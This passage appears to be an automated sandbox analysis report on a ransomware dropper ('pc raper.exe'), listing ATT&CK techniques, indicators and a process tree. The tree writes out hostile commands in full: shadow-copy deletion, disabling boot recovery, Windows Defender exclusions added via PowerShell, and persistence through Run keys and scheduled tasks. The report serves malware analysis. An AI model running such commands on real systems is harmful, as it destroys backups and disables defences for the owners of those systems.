Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	62fb2487.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unison.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoWall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2392	paping.exe
4380	tcping.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000f302e52b877208420000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000f302e52b0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900f302e52b000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1df302e52b000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f302e52b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3628	vssadmin.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000_Classes\Local Settings	WinIntoruntime.exe
Key created	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000_Classes\Local Settings	Agentnov.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
13240	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6708	notepad.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
11448	schtasks.exe
12180	schtasks.exe
12296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
248	svchost.exe
248	svchost.exe
2680	svchost.exe
248	svchost.exe
2680	svchost.exe
248	svchost.exe
2680	svchost.exe
2680	svchost.exe
248	svchost.exe
2680	svchost.exe
6076	svchost.exe
6076	svchost.exe
6076	svchost.exe
6076	svchost.exe
6076	svchost.exe
5696	powershell.exe
5696	powershell.exe
5892	powershell.exe
5892	powershell.exe
3656	powershell.exe
3656	powershell.exe
5668	powershell.exe
5668	powershell.exe
5768	powershell.exe
5768	powershell.exe
3340	powershell.exe
3340	powershell.exe
1456	powershell.exe
1456	powershell.exe
492	powershell.exe
492	powershell.exe
4800	powershell.exe
4800	powershell.exe
2272	powershell.exe
2272	powershell.exe
3468	powershell.exe
3468	powershell.exe
3340	powershell.exe
3340	powershell.exe
5696	powershell.exe
492	powershell.exe
5696	powershell.exe
492	powershell.exe
6592	powershell.exe
6592	powershell.exe
5768	powershell.exe
5768	powershell.exe
5892	powershell.exe
5892	powershell.exe
5668	powershell.exe
5668	powershell.exe
3656	powershell.exe
3656	powershell.exe
1456	powershell.exe
1456	powershell.exe
6440	powershell.exe
6440	powershell.exe
3944	powershell.exe
3944	powershell.exe
6364	powershell.exe
6364	powershell.exe
1156	powershell.exe
1156	powershell.exe
7036	powershell.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
336	CryptoWall.exe
564	62fb2487.exe
2324	explorer.exe
1232	62fb2487.exe
3076	62fb2487.exe
1128	explorer.exe
4508	explorer.exe
2396	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4580	wmic.exe
Token: SeSecurityPrivilege	4580	wmic.exe
Token: SeTakeOwnershipPrivilege	4580	wmic.exe
Token: SeLoadDriverPrivilege	4580	wmic.exe
Token: SeSystemProfilePrivilege	4580	wmic.exe
Token: SeSystemtimePrivilege	4580	wmic.exe
Token: SeProfSingleProcessPrivilege	4580	wmic.exe
Token: SeIncBasePriorityPrivilege	4580	wmic.exe
Token: SeCreatePagefilePrivilege	4580	wmic.exe
Token: SeBackupPrivilege	4580	wmic.exe
Token: SeRestorePrivilege	4580	wmic.exe
Token: SeShutdownPrivilege	4580	wmic.exe
Token: SeDebugPrivilege	4580	wmic.exe
Token: SeSystemEnvironmentPrivilege	4580	wmic.exe
Token: SeRemoteShutdownPrivilege	4580	wmic.exe
Token: SeUndockPrivilege	4580	wmic.exe
Token: SeManageVolumePrivilege	4580	wmic.exe
Token: 33	4580	wmic.exe
Token: 34	4580	wmic.exe
Token: 35	4580	wmic.exe
Token: 36	4580	wmic.exe
Token: SeDebugPrivilege	3848	4363463463464363463463463.exe
Token: SeIncreaseQuotaPrivilege	4580	wmic.exe
Token: SeSecurityPrivilege	4580	wmic.exe
Token: SeTakeOwnershipPrivilege	4580	wmic.exe
Token: SeLoadDriverPrivilege	4580	wmic.exe
Token: SeSystemProfilePrivilege	4580	wmic.exe
Token: SeSystemtimePrivilege	4580	wmic.exe
Token: SeProfSingleProcessPrivilege	4580	wmic.exe
Token: SeIncBasePriorityPrivilege	4580	wmic.exe
Token: SeCreatePagefilePrivilege	4580	wmic.exe
Token: SeBackupPrivilege	4580	wmic.exe
Token: SeRestorePrivilege	4580	wmic.exe
Token: SeShutdownPrivilege	4580	wmic.exe
Token: SeDebugPrivilege	4580	wmic.exe
Token: SeSystemEnvironmentPrivilege	4580	wmic.exe
Token: SeRemoteShutdownPrivilege	4580	wmic.exe
Token: SeUndockPrivilege	4580	wmic.exe
Token: SeManageVolumePrivilege	4580	wmic.exe
Token: 33	4580	wmic.exe
Token: 34	4580	wmic.exe
Token: 35	4580	wmic.exe
Token: 36	4580	wmic.exe
Token: SeBackupPrivilege	3104	vssvc.exe
Token: SeRestorePrivilege	3104	vssvc.exe
Token: SeAuditPrivilege	3104	vssvc.exe
Token: SeDebugPrivilege	4708	25.exe
Token: SeDebugPrivilege	1476	22.exe
Token: SeDebugPrivilege	3872	23.exe
Token: SeDebugPrivilege	5216	24.exe
Token: SeDebugPrivilege	5272	21.exe
Token: SeDebugPrivilege	4728	20.exe
Token: SeDebugPrivilege	5604	19.exe
Token: SeDebugPrivilege	3460	18.exe
Token: SeDebugPrivilege	5040	17.exe
Token: SeDebugPrivilege	656	16.exe
Token: SeDebugPrivilege	4348	15.exe
Token: SeDebugPrivilege	3044	14.exe
Token: SeDebugPrivilege	4424	13.exe
Token: SeDebugPrivilege	5568	12.exe
Token: SeDebugPrivilege	5144	11.exe
Token: SeDebugPrivilege	2992	10.exe
Token: SeDebugPrivilege	864	9.exe
Token: SeDebugPrivilege	1516	8.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
7276	@[email protected]
7276	@[email protected]
9464	@[email protected]
9464	@[email protected]
12116	vsjitdebuggerui.exe
8784	@[email protected]
8784	@[email protected]
8792	@[email protected]
6916	svchost.exe
12488	xt.exe
12668	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5764 wrote to memory of 2372	5764	pc raper.exe	78
PID 5764 wrote to memory of 2372	5764	pc raper.exe	78
PID 5764 wrote to memory of 2372	5764	pc raper.exe	78
PID 2372 wrote to memory of 1904	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 2372 wrote to memory of 1904	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 2372 wrote to memory of 1904	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 2372 wrote to memory of 924	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 2372 wrote to memory of 924	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 2372 wrote to memory of 924	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 5764 wrote to memory of 4972	5764	pc raper.exe	83
PID 5764 wrote to memory of 4972	5764	pc raper.exe	83
PID 5764 wrote to memory of 4972	5764	pc raper.exe	83
PID 5764 wrote to memory of 4380	5764	pc raper.exe	84
PID 5764 wrote to memory of 4380	5764	pc raper.exe	84
PID 5764 wrote to memory of 4380	5764	pc raper.exe	84
PID 5764 wrote to memory of 2392	5764	pc raper.exe	85
PID 5764 wrote to memory of 2392	5764	pc raper.exe	85
PID 4972 wrote to memory of 3848	4972	Cry.exe	88
PID 4972 wrote to memory of 3848	4972	Cry.exe	88
PID 4972 wrote to memory of 3848	4972	Cry.exe	88
PID 2372 wrote to memory of 1856	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 2372 wrote to memory of 1856	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 2372 wrote to memory of 1856	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 4972 wrote to memory of 700	4972	Cry.exe	91
PID 4972 wrote to memory of 700	4972	Cry.exe	91
PID 4972 wrote to memory of 700	4972	Cry.exe	91
PID 4972 wrote to memory of 2800	4972	Cry.exe	92
PID 4972 wrote to memory of 2800	4972	Cry.exe	92
PID 4972 wrote to memory of 2800	4972	Cry.exe	92
PID 2800 wrote to memory of 4580	2800	asena.exe	93
PID 2800 wrote to memory of 4580	2800	asena.exe	93
PID 2800 wrote to memory of 3628	2800	asena.exe	94
PID 2800 wrote to memory of 3628	2800	asena.exe	94
PID 4972 wrote to memory of 3708	4972	Cry.exe	97
PID 4972 wrote to memory of 3708	4972	Cry.exe	97
PID 2372 wrote to memory of 3208	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	98
PID 2372 wrote to memory of 3208	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	98
PID 2372 wrote to memory of 3208	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	98
PID 4972 wrote to memory of 336	4972	Cry.exe	101
PID 4972 wrote to memory of 336	4972	Cry.exe	101
PID 4972 wrote to memory of 336	4972	Cry.exe	101
PID 336 wrote to memory of 1128	336	CryptoWall.exe	102
PID 336 wrote to memory of 1128	336	CryptoWall.exe	102
PID 336 wrote to memory of 1128	336	CryptoWall.exe	102
PID 2372 wrote to memory of 2132	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	104
PID 2372 wrote to memory of 2132	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	104
PID 2372 wrote to memory of 2132	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	104
PID 2372 wrote to memory of 2184	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 2372 wrote to memory of 2184	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 2372 wrote to memory of 2184	2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 3208 wrote to memory of 4572	3208	cmd.exe	118
PID 3208 wrote to memory of 4572	3208	cmd.exe	118
PID 3208 wrote to memory of 4572	3208	cmd.exe	118
PID 2736 wrote to memory of 564	2736	cmd.exe	119
PID 2736 wrote to memory of 564	2736	cmd.exe	119
PID 2736 wrote to memory of 564	2736	cmd.exe	119
PID 564 wrote to memory of 2324	564	62fb2487.exe	120
PID 564 wrote to memory of 2324	564	62fb2487.exe	120
PID 564 wrote to memory of 2324	564	62fb2487.exe	120
PID 2324 wrote to memory of 900	2324	explorer.exe	121
PID 2324 wrote to memory of 900	2324	explorer.exe	121
PID 2324 wrote to memory of 900	2324	explorer.exe	121
PID 1520 wrote to memory of 1232	1520	cmd.exe	122
PID 1520 wrote to memory of 1232	1520	cmd.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2132	attrib.exe
5272	attrib.exe
3276	attrib.exe
12176	attrib.exe
11608	attrib.exe
1904	attrib.exe
2184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\pc raper.exe
"C:\Users\Admin\AppData\Local\Temp\pc raper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5764
- C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
  "C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1904
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:924
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 127651744397957.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3208
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      System Location Discovery: System Language Discovery
      PID:4572
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2132
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s E:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2184
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s E:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5272
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s E:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3276
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected] co
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:7276
  - - C:\Users\Admin\AppData\Roaming\TaskData\Tor\taskhsvc.exe
      TaskData\Tor\taskhsvc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:8376
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b @[email protected] vs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8108
  - - C:\Users\Admin\AppData\Roaming\@[email protected]
      @[email protected] vs
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:9464
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7824
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:10768
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:12368
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:12376
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:8784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "foheeammesp361" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7380
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "foheeammesp361" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:13240
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:11080
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    - Executes dropped EXE
    PID:9668
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:8792
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    PID:12672
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    PID:6268
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:12668
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    PID:10120
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    PID:10512
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    PID:12328
- C:\Users\Admin\AppData\Roaming\Cry.exe
  "C:\Users\Admin\AppData\Roaming\Cry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3848
  - - C:\Users\Admin\AppData\Local\Temp\Files\VsGraphicsResources2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\VsGraphicsResources2.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:12484
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Proces hosta dla zadań systemu Windows" /sc ONLOGON /tr "C:\Windows\system32\3880\vsjitdebuggerui.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11448
    - - C:\Windows\system32\3880\vsjitdebuggerui.exe
        
        "C:\Windows\system32\3880\vsjitdebuggerui.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetWindowsHookEx
        
        PID:12116
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Proces hosta dla zadań systemu Windows" /sc ONLOGON /tr "C:\Windows\system32\3880\vsjitdebuggerui.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12180
  - - C:\Users\Admin\AppData\Local\Temp\Files\roblox.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\roblox.exe"
      4⤵
      Executes dropped EXE
      PID:8168
    - - C:\Users\Admin\AppData\Local\Temp\onefile_8168_133888715963675126\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\roblox.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6820
  - - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetWindowsHookEx
      PID:6916
  - - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      PID:10076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        5⤵
        
        PID:6452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Wave.exe'
        5⤵
        
        PID:1932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Wave.exe'
        5⤵
        
        PID:12368
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Wave" /tr "C:\Users\Admin\AppData\Roaming\Wave.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12296
  - - C:\Users\Admin\AppData\Local\Temp\Files\SQL.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\SQL.exe"
      4⤵
      Executes dropped EXE
      PID:12692
  - - C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6236
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6236 -s 448
        5⤵
        Program crash
        
        PID:10744
  - - C:\Users\Admin\AppData\Local\Temp\Files\64.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\64.exe"
      4⤵
      Executes dropped EXE
      PID:11784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c color 0a
        5⤵
        
        PID:8208
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c chcp 936
        5⤵
        
        PID:9692
      - C:\Windows\system32\chcp.com
        
        chcp 936
        6⤵
        
        PID:5972
  - - C:\Users\Admin\AppData\Local\Temp\Files\quzfesaq.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\quzfesaq.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:7836
    - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:10000
  - - C:\Users\Admin\AppData\Local\Temp\Files\crypted.64.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\crypted.64.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:8908
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8648
  - - C:\Users\Admin\AppData\Local\Temp\Files\unison.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\unison.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:8024
  - - C:\Users\Admin\AppData\Local\Temp\Files\Identification.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Identification.exe"
      4⤵
      Executes dropped EXE
      PID:6524
  - - C:\Users\Admin\AppData\Local\Temp\Files\Agentnov.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Agentnov.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:10036
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\Ay6NG0F6W31r02DmYDfvXlcoXOiJ0g7CZGFgavsjaHVxbb7p79qA9PCcolLF.vbe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7308
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\OnzNiMkRKunjlA2ZJK8bvmP0uahZr4XmUT5IbmeTTuY8hxSaQt1L4to.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:11484
        
        C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\WinIntoruntime.exe
        
        "C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor/WinIntoruntime.exe"
        7⤵
        Modifies registry class
        
        PID:9100
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\zAviFEgkxu.bat"
        8⤵
        
        PID:10444
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:7152
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:1144
        
        C:\Users\Admin\AppData\Local\staticfile.exe
        
        "C:\Users\Admin\AppData\Local\staticfile.exe"
        9⤵
        
